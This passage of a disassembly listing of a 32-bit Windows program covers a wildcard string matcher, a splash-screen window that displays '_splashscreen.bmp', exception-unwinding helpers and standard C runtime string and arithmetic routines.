arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_4]
push edi
test edx, edx
jz short loc_4FC07D
mov edi, [ebp+arg_0]
test edi, edi
jnz short loc_4FC081
loc_4FC07D: ; CODE XREF: sub_4FC06B+9j
xor eax, eax
jmp short loc_4FC0D3
; ---------------------------------------------------------------------------
loc_4FC081: ; CODE XREF: sub_4FC06B+10j
cmp byte ptr [edx], 0
jnz short loc_4FC08F
xor eax, eax
cmp [edi], al
setz al
jmp short loc_4FC0D3
; ---------------------------------------------------------------------------
loc_4FC08F: ; CODE XREF: sub_4FC06B+19j
push ebx
push esi
mov esi, offset dword_510BE4
mov eax, edi
loc_4FC098: ; CODE XREF: sub_4FC06B+49j
mov bl, [eax]
mov cl, bl
cmp bl, [esi]
jnz short loc_4FC0BA
test cl, cl
jz short loc_4FC0B6
mov bl, [eax+1]
mov cl, bl
cmp bl, [esi+1]
jnz short loc_4FC0BA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_4FC098
loc_4FC0B6: ; CODE XREF: sub_4FC06B+37j
xor eax, eax
jmp short loc_4FC0BF
; ---------------------------------------------------------------------------
loc_4FC0BA: ; CODE XREF: sub_4FC06B+33j
; sub_4FC06B+41j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_4FC0BF: ; CODE XREF: sub_4FC06B+4Dj
pop esi
pop ebx
test eax, eax
jnz short loc_4FC0CA
mov edi, offset dword_510BE0
loc_4FC0CA: ; CODE XREF: sub_4FC06B+58j
push edx
push edi
call sub_4FC0D6
pop ecx
pop ecx
loc_4FC0D3: ; CODE XREF: sub_4FC06B+14j
; sub_4FC06B+22j
pop edi
pop ebp
retn
sub_4FC06B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC0D6 proc near ; CODE XREF: sub_4FC06B+61p
; sub_4FC0D6+70p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, [ebp+arg_4]
mov al, [ebx]
push edi
test al, al
jz short loc_4FC120
loc_4FC0E8: ; CODE XREF: sub_4FC0D6+48j
movsx edi, byte ptr [esi]
movsx eax, al
inc ebx
cmp eax, 2Ah
jz short loc_4FC130
cmp eax, 3Fh
jz short loc_4FC115
push eax
call sub_4FC86E
mov edx, eax
push edi
mov [ebp+arg_4], edx
call sub_4FC86E
pop ecx
pop ecx
mov ecx, [ebp+arg_4]
cmp eax, ecx
jnz short loc_4FC12C
jmp short loc_4FC119
; ---------------------------------------------------------------------------
loc_4FC115: ; CODE XREF: sub_4FC0D6+21j
test edi, edi
jz short loc_4FC12C
loc_4FC119: ; CODE XREF: sub_4FC0D6+3Dj
mov al, [ebx]
inc esi
test al, al
jnz short loc_4FC0E8
loc_4FC120: ; CODE XREF: sub_4FC0D6+10j
xor eax, eax
cmp [esi], al
setz al
loc_4FC127: ; CODE XREF: sub_4FC0D6+58j
; sub_4FC0D6+86j
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4FC12C: ; CODE XREF: sub_4FC0D6+3Bj
; sub_4FC0D6+41j ...
xor eax, eax
jmp short loc_4FC127
; ---------------------------------------------------------------------------
loc_4FC130: ; CODE XREF: sub_4FC0D6+1Cj
xor edi, edi
cmp byte ptr [esi], 0
jz short loc_4FC142
loc_4FC137: ; CODE XREF: sub_4FC0D6+66j
inc edi
cmp byte ptr [edi+esi], 0
jnz short loc_4FC137
test edi, edi
jl short loc_4FC12C
loc_4FC142: ; CODE XREF: sub_4FC0D6+5Fj
add esi, edi
loc_4FC144: ; CODE XREF: sub_4FC0D6+7Fj
push esi
push ebx
call sub_4FC0D6
pop ecx
test eax, eax
pop ecx
jnz short loc_4FC159
dec edi
dec esi
test edi, edi
jge short loc_4FC144
jmp short loc_4FC12C
; ---------------------------------------------------------------------------
loc_4FC159: ; CODE XREF: sub_4FC0D6+79j
push 1
pop eax
jmp short loc_4FC127
sub_4FC0D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC15E proc near ; DATA XREF: sub_4FC271+36o
var_60 = dword ptr -60h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 60h
push edi
cmp [ebp+arg_4], 0Fh
jnz loc_4FC1FF
and [ebp+var_20], 0
xor eax, eax
lea edi, [ebp+var_1C]
stosd
stosd
stosd
stosd
stosd
lea eax, [ebp+var_20]
push eax
push 18h
push ds:dword_515A50
call ds:dword_5117F8 ; GetObjectA
lea eax, [ebp+var_60]
push eax
push [ebp+arg_0]
call ds:dword_5117F0 ; BeginPaint
push [ebp+var_60]
call ds:dword_5117E0 ; CreateCompatibleDC
mov [ebp+var_8], eax
push ds:dword_515A50
push [ebp+var_8]
call ds:dword_5117FC ; SelectObject
mov [ebp+var_4], eax
push 0CC0020h
push 0
push 0
push [ebp+var_8]
push [ebp+var_18]
push [ebp+var_1C]
push 0
push 0
push [ebp+var_60]
call ds:dword_511804 ; BitBlt
push [ebp+var_4]
push [ebp+var_8]
call ds:dword_5117FC ; SelectObject
push [ebp+var_8]
call ds:dword_5117E8 ; DeleteDC
lea eax, [ebp+var_60]
push eax
push [ebp+arg_0]
call ds:dword_5117F4 ; EndPaint
xor eax, eax
jmp short loc_4FC211
; ---------------------------------------------------------------------------
loc_4FC1FF: ; CODE XREF: sub_4FC15E+Bj
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_50E050 ; DefWindowProcA
loc_4FC211: ; CODE XREF: sub_4FC15E+9Fj
pop edi
leave
retn 10h
sub_4FC15E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC216 proc near ; DATA XREF: sub_4FC271+152o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call ds:dword_511808 ; GetWindowThreadProcessId
call ds:dword_5116E8 ; GetCurrentProcessId
cmp [ebp+var_4], eax
jnz short loc_4FC26A
mov eax, [ebp+arg_0]
cmp eax, ds:dword_515A54
jz short loc_4FC26A
push ds:dword_515A54
call ds:dword_51182C ; DestroyWindow
and ds:dword_515A54, 0
push [ebp+arg_0]
call ds:dword_51180C ; SetActiveWindow
push [ebp+arg_0]
call ds:dword_511810 ; SetForegroundWindow
xor eax, eax
jmp short locret_4FC26D
; ---------------------------------------------------------------------------
loc_4FC26A: ; CODE XREF: sub_4FC216+1Ej
; sub_4FC216+29j
push 1
pop eax
locret_4FC26D: ; CODE XREF: sub_4FC216+52j
leave
retn 8
sub_4FC216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC271 proc near ; DATA XREF: sub_4FC3F3+3Co
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 58h
push edi
mov eax, [ebp+arg_0]
mov ds:dword_515A50, eax
and [ebp+var_38], 0
xor eax, eax
lea edi, [ebp+var_34]
stosd
stosd
stosd
stosd
stosd
lea eax, [ebp+var_38]
push eax
push 18h
push [ebp+arg_0]
call ds:dword_5117F8 ; GetObjectA
mov ds:dword_515A60, 30h
mov ds:dword_515A68, offset sub_4FC15E
mov ds:dword_515A88, offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
push 0
call ds:dword_511718 ; GetModuleHandleA
mov ds:dword_515A74, eax
push offset dword_515A60
call ds:dword_511814 ; RegisterClassExA
push 10h
call ds:dword_511818 ; GetSystemMetrics
mov [ebp+var_20], eax
push 11h
call ds:dword_511818 ; GetSystemMetrics
mov [ebp+var_18], eax
mov eax, [ebp+var_20]
sub eax, [ebp+var_34]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_14], eax
mov eax, [ebp+var_18]
sub eax, [ebp+var_30]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_10], eax
mov eax, [ebp+var_14]
add eax, [ebp+var_34]
mov [ebp+var_C], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_30]
mov [ebp+var_8], eax
mov [ebp+var_58], 98800000h
push 0
push 0
push [ebp+var_58]
lea eax, [ebp+var_14]
push eax
call ds:dword_50E054 ; AdjustWindowRectEx
push 0
push 0
push 0
push 0
mov eax, [ebp+var_8]
sub eax, [ebp+var_10]
push eax
mov eax, [ebp+var_C]
sub eax, [ebp+var_14]
push eax
push [ebp+var_10]
push [ebp+var_14]
push [ebp+var_58]
push offset dword_511918
push offset aCc7574e45e3947 ; "{CC7574E4-5E39-4700-B286-269A82DD8E95}"
push 0
call ds:dword_51181C ; CreateWindowExA
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ds:dword_515A54, eax
loc_4FC36B: ; CODE XREF: sub_4FC271+133j
push 0
push 0
push [ebp+var_4]
lea eax, [ebp+var_54]
push eax
call ds:dword_511820 ; GetMessageA
test eax, eax
jz short loc_4FC3A6
mov eax, [ebp+var_54]
cmp eax, [ebp+var_4]
jnz short loc_4FC390
cmp [ebp+var_50], 0
jnz short loc_4FC390
jmp short loc_4FC3A6
; ---------------------------------------------------------------------------
loc_4FC390: ; CODE XREF: sub_4FC271+115j
; sub_4FC271+11Bj
lea eax, [ebp+var_54]
push eax
call ds:dword_511824 ; TranslateMessage
lea eax, [ebp+var_54]
push eax
call ds:dword_511828 ; DispatchMessageA
jmp short loc_4FC36B
; ---------------------------------------------------------------------------
loc_4FC3A6: ; CODE XREF: sub_4FC271+10Dj
; sub_4FC271+11Dj
push 64h
call ds:dword_511794 ; Sleep
and [ebp+var_1C], 0
jmp short loc_4FC3BB
; ---------------------------------------------------------------------------
loc_4FC3B4: ; CODE XREF: sub_4FC271+170j
mov eax, [ebp+var_1C]
inc eax
mov [ebp+var_1C], eax
loc_4FC3BB: ; CODE XREF: sub_4FC271+141j
cmp [ebp+var_1C], 64h
jge short loc_4FC3E3
push 0
push offset sub_4FC216
call ds:dword_511830 ; EnumWindows
cmp ds:dword_515A54, 0
jnz short loc_4FC3D9
jmp short loc_4FC3E3
; ---------------------------------------------------------------------------
loc_4FC3D9: ; CODE XREF: sub_4FC271+164j
push 64h
call ds:dword_511794 ; Sleep
jmp short loc_4FC3B4
; ---------------------------------------------------------------------------
loc_4FC3E3: ; CODE XREF: sub_4FC271+14Ej
; sub_4FC271+166j
push [ebp+arg_0]
call ds:dword_511800 ; DeleteObject
xor eax, eax
pop edi
leave
retn 4
sub_4FC271 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC3F3 proc near ; CODE XREF: sub_504DC0+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push 0
lea eax, [ebp+var_4]
push eax
push 3
push 80000000h
push offset a_splashscreen_ ; "_splashscreen.bmp"
call sub_500346
test eax, eax
jz short locret_4FC450
push [ebp+var_4]
call sub_505456
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4FC446
push offset dword_515A58
push 0
push [ebp+var_8]
push offset sub_4FC271
push 0
push 0
call ds:dword_51183C ; CreateThread
push 64h
call ds:dword_511794 ; Sleep
loc_4FC446: ; CODE XREF: sub_4FC3F3+30j
push 0
push [ebp+var_4]
call sub_500741
locret_4FC450: ; CODE XREF: sub_4FC3F3+1Ej
leave
retn
sub_4FC3F3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC454 proc near ; CODE XREF: sub_4FC54C+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_4FC46C
push [ebp+arg_0]
call sub_4FCF68 ; RtlUnwind
loc_4FC46C: ; DATA XREF: sub_4FC454+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4FC454 endp
; =============== S U B R O U T I N E =======================================
sub_4FC474 proc near ; DATA XREF: sub_4FC496+Ao
; _5:004FC507o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4FC495
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4FC495: ; CODE XREF: sub_4FC474+10j
retn
sub_4FC474 endp
; =============== S U B R O U T I N E =======================================
sub_4FC496 proc near ; CODE XREF: sub_4FC54C+67p
; sub_4FC54C+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4FC474
push large dword ptr fs:0
mov large fs:0, esp
loc_4FC4B3: ; CODE XREF: sub_4FC496:loc_4FC4EEj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_4FC4F0
cmp esi, [esp+1Ch+arg_4]
jz short loc_4FC4F0
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_4FC4EE
push 101h
mov eax, [ebx+esi*4+8]
call sub_4FC52A
call dword ptr [ebx+esi*4+8]
loc_4FC4EE: ; CODE XREF: sub_4FC496+44j
jmp short loc_4FC4B3
; ---------------------------------------------------------------------------
loc_4FC4F0: ; CODE XREF: sub_4FC496+2Aj
; sub_4FC496+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4FC496 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4FC474
jnz short locret_4FC520
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_4FC520
mov eax, 1
locret_4FC520: ; CODE XREF: _5:004FC50Ej _5:004FC519j
retn
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_511434
jmp short loc_4FC534
; =============== S U B R O U T I N E =======================================
sub_4FC52A proc near ; CODE XREF: sub_4FC496+4Fp
; sub_4FC54C+78p
push ebx
push ecx
mov ebx, offset dword_511434
mov ecx, [ebp+8]
loc_4FC534: ; CODE XREF: _5:004FC528j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_4FC52A endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC54C proc near ; DATA XREF: sub_4FC000+Ao
; sub_4FCA80+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_4FC5EC
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4FC57F: ; CODE XREF: sub_4FC54C+90j
cmp esi, 0FFFFFFFFh
jz short loc_4FC5E5
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_4FC5D3
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_4FC5D3
js short loc_4FC5DE
mov edi, [ebx+8]
push ebx
call sub_4FC454
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4FC496
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_4FC52A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_4FC5D3: ; CODE XREF: sub_4FC54C+40j
; sub_4FC54C+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4FC57F
; ---------------------------------------------------------------------------
loc_4FC5DE: ; CODE XREF: sub_4FC54C+54j
mov eax, 0
jmp short loc_4FC601
; ---------------------------------------------------------------------------
loc_4FC5E5: ; CODE XREF: sub_4FC54C+36j
mov eax, 1
jmp short loc_4FC601
; ---------------------------------------------------------------------------
loc_4FC5EC: ; CODE XREF: sub_4FC54C+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4FC496
add esp, 8
pop ebp
mov eax, 1
loc_4FC601: ; CODE XREF: sub_4FC54C+97j
; sub_4FC54C+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4FC54C endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4FC496
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_4FC640
loc_4FC630: ; CODE XREF: sub_4FC640+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_4FC640
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4FC640 proc near ; CODE XREF: sub_4FF166+2Ap
; sub_508A16+AFp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 004FC630 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_4FC66B
loc_4FC658: ; CODE XREF: sub_4FC640+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_4FC630
test cl, cl
jz short loc_4FC6B4
test edx, 3
jnz short loc_4FC658
loc_4FC66B: ; CODE XREF: sub_4FC640+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_4FC676: ; CODE XREF: sub_4FC640+61j
; sub_4FC640+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4FC6B8
and eax, 81010100h
jz short loc_4FC676
and eax, 1010100h
jnz short loc_4FC6B2
and esi, 80000000h
jnz short loc_4FC676
loc_4FC6B2: ; CODE XREF: sub_4FC640+68j
; sub_4FC640+81j ...
pop esi
pop edi
loc_4FC6B4: ; CODE XREF: sub_4FC640+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4FC6B8: ; CODE XREF: sub_4FC640+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_4FC6F5
test al, al
jz short loc_4FC6B2
cmp ah, bl
jz short loc_4FC6EE
test ah, ah
jz short loc_4FC6B2
shr eax, 10h
cmp al, bl
jz short loc_4FC6E7
test al, al
jz short loc_4FC6B2
cmp ah, bl
jz short loc_4FC6E0
test ah, ah
jz short loc_4FC6B2
jmp short loc_4FC676
; ---------------------------------------------------------------------------
loc_4FC6E0: ; CODE XREF: sub_4FC640+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4FC6E7: ; CODE XREF: sub_4FC640+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4FC6EE: ; CODE XREF: sub_4FC640+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4FC6F5: ; CODE XREF: sub_4FC640+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_4FC640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC700 proc near ; CODE XREF: sub_4FF252+FBp
; sub_502DD0+161p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_4FC721
xor eax, eax
jmp short loc_4FC723
; ---------------------------------------------------------------------------
loc_4FC721: ; CODE XREF: sub_4FC700+1Bj
mov eax, edi
loc_4FC723: ; CODE XREF: sub_4FC700+1Fj
cld
pop edi
leave
retn
sub_4FC700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC730 proc near ; CODE XREF: sub_50153F+5Ep
; sub_50153F+1ABp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_4FC761
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_4FC75F
jz short loc_4FC761
dec ecx
dec ecx
loc_4FC75F: ; CODE XREF: sub_4FC730+29j
not ecx
loc_4FC761: ; CODE XREF: sub_4FC730+9j
; sub_4FC730+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_4FC730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4FC770 proc near ; CODE XREF: sub_501CC4+1AFp
; sub_501CC4+434p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_4FC7F3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_4FC794
shr ecx, 2
jnz short loc_4FC801
jmp short loc_4FC7B5
; ---------------------------------------------------------------------------
loc_4FC794: ; CODE XREF: sub_4FC770+1Bj
; sub_4FC770+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_4FC7C2
test al, al
jz short loc_4FC7CA
test esi, 3
jnz short loc_4FC794
mov ebx, ecx
shr ecx, 2
jnz short loc_4FC801
loc_4FC7B0: ; CODE XREF: sub_4FC770+8Fj
and ebx, 3
jz short loc_4FC7C2
loc_4FC7B5: ; CODE XREF: sub_4FC770+22j
; sub_4FC770+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_4FC7EE
dec ebx
jnz short loc_4FC7B5
loc_4FC7C2: ; CODE XREF: sub_4FC770+2Bj
; sub_4FC770+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4FC7CA: ; CODE XREF: sub_4FC770+2Fj
test edi, 3
jz short loc_4FC7E4
loc_4FC7D2: ; CODE XREF: sub_4FC770+72j
mov [edi], al
inc edi
dec ecx
jz loc_4FC866
test edi, 3
jnz short loc_4FC7D2
loc_4FC7E4: ; CODE XREF: sub_4FC770+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_4FC857
loc_4FC7EB: ; CODE XREF: sub_4FC770+7Fj
; sub_4FC770+F4j
mov [edi], al
inc edi
loc_4FC7EE: ; CODE XREF: sub_4FC770+4Dj
dec ebx
jnz short loc_4FC7EB
pop ebx
pop esi
loc_4FC7F3: ; CODE XREF: sub_4FC770+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4FC7F9: ; CODE XREF: sub_4FC770+A9j
; sub_4FC770+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_4FC7B0
loc_4FC801: ; CODE XREF: sub_4FC770+20j
; sub_4FC770+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_4FC7F9
test dl, dl
jz short loc_4FC84B
test dh, dh
jz short loc_4FC841
test edx, 0FF0000h
jz short loc_4FC837
test edx, 0FF000000h
jnz short loc_4FC7F9
mov [edi], edx
jmp short loc_4FC84F
; ---------------------------------------------------------------------------
loc_4FC837: ; CODE XREF: sub_4FC770+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_4FC84F
; ---------------------------------------------------------------------------
loc_4FC841: ; CODE XREF: sub_4FC770+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_4FC84F
; ---------------------------------------------------------------------------
loc_4FC84B: ; CODE XREF: sub_4FC770+ADj
xor edx, edx
mov [edi], edx
loc_4FC84F: ; CODE XREF: sub_4FC770+C5j
; sub_4FC770+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_4FC861
loc_4FC857: ; CODE XREF: sub_4FC770+79j
xor eax, eax
loc_4FC859: ; CODE XREF: sub_4FC770+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_4FC859
loc_4FC861: ; CODE XREF: sub_4FC770+E5j
and ebx, 3
jnz short loc_4FC7EB
loc_4FC866: ; CODE XREF: sub_4FC770+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_4FC770 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC86E proc near ; CODE XREF: sub_4FC0D6+24p
; sub_4FC0D6+2Fp ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_5160F4, 0
push ebx
push esi
push edi
jnz short loc_4FC89B
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4FC934
cmp eax, 5Ah
jg loc_4FC934
add eax, 20h
jmp loc_4FC934
; ---------------------------------------------------------------------------
loc_4FC89B: ; CODE XREF: sub_4FC86E+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_4FC8CF
cmp ds:dword_51165C, esi
jle short loc_4FC8BD
push esi
push ebx
call sub_4FCCCF
pop ecx
pop ecx
jmp short loc_4FC8C7
; ---------------------------------------------------------------------------
loc_4FC8BD: ; CODE XREF: sub_4FC86E+42j
mov eax, ds:off_511450
mov al, [eax+ebx*2]
and eax, esi
loc_4FC8C7: ; CODE XREF: sub_4FC86E+4Dj
test eax, eax
jnz short loc_4FC8CF
loc_4FC8CB: ; CODE XREF: sub_4FC86E+ADj
mov eax, ebx
jmp short loc_4FC934
; ---------------------------------------------------------------------------
loc_4FC8CF: ; CODE XREF: sub_4FC86E+3Aj
; sub_4FC86E+5Bj
mov edx, ds:off_511450
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4FC8F3
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_4FC8FC
; ---------------------------------------------------------------------------
loc_4FC8F3: ; CODE XREF: sub_4FC86E+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_4FC8FC: ; CODE XREF: sub_4FC86E+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push ds:dword_5160F4
call sub_4FCA80
add esp, 20h
test eax, eax
jz short loc_4FC8CB
cmp eax, esi
jnz short loc_4FC927
movzx eax, [ebp+var_4]
jmp short loc_4FC934
; ---------------------------------------------------------------------------
loc_4FC927: ; CODE XREF: sub_4FC86E+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4FC934: ; CODE XREF: sub_4FC86E+16j
; sub_4FC86E+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4FC86E endp
; ---------------------------------------------------------------------------
align 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+14h]
or eax, eax
jge short loc_4FC961
inc edi
mov edx, [esp+10h]
neg eax
neg edx
sbb eax, 0
mov [esp+14h], eax
mov [esp+10h], edx
loc_4FC961: ; CODE XREF: _5:004FC94Bj
mov eax, [esp+1Ch]
or eax, eax
jge short loc_4FC97D
inc edi
mov edx, [esp+18h]
neg eax
neg edx
sbb eax, 0
mov [esp+1Ch], eax
mov [esp+18h], edx
loc_4FC97D: ; CODE XREF: _5:004FC967j
or eax, eax
jnz short loc_4FC999
mov ecx, [esp+18h]
mov eax, [esp+14h]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+10h]
div ecx
mov edx, ebx
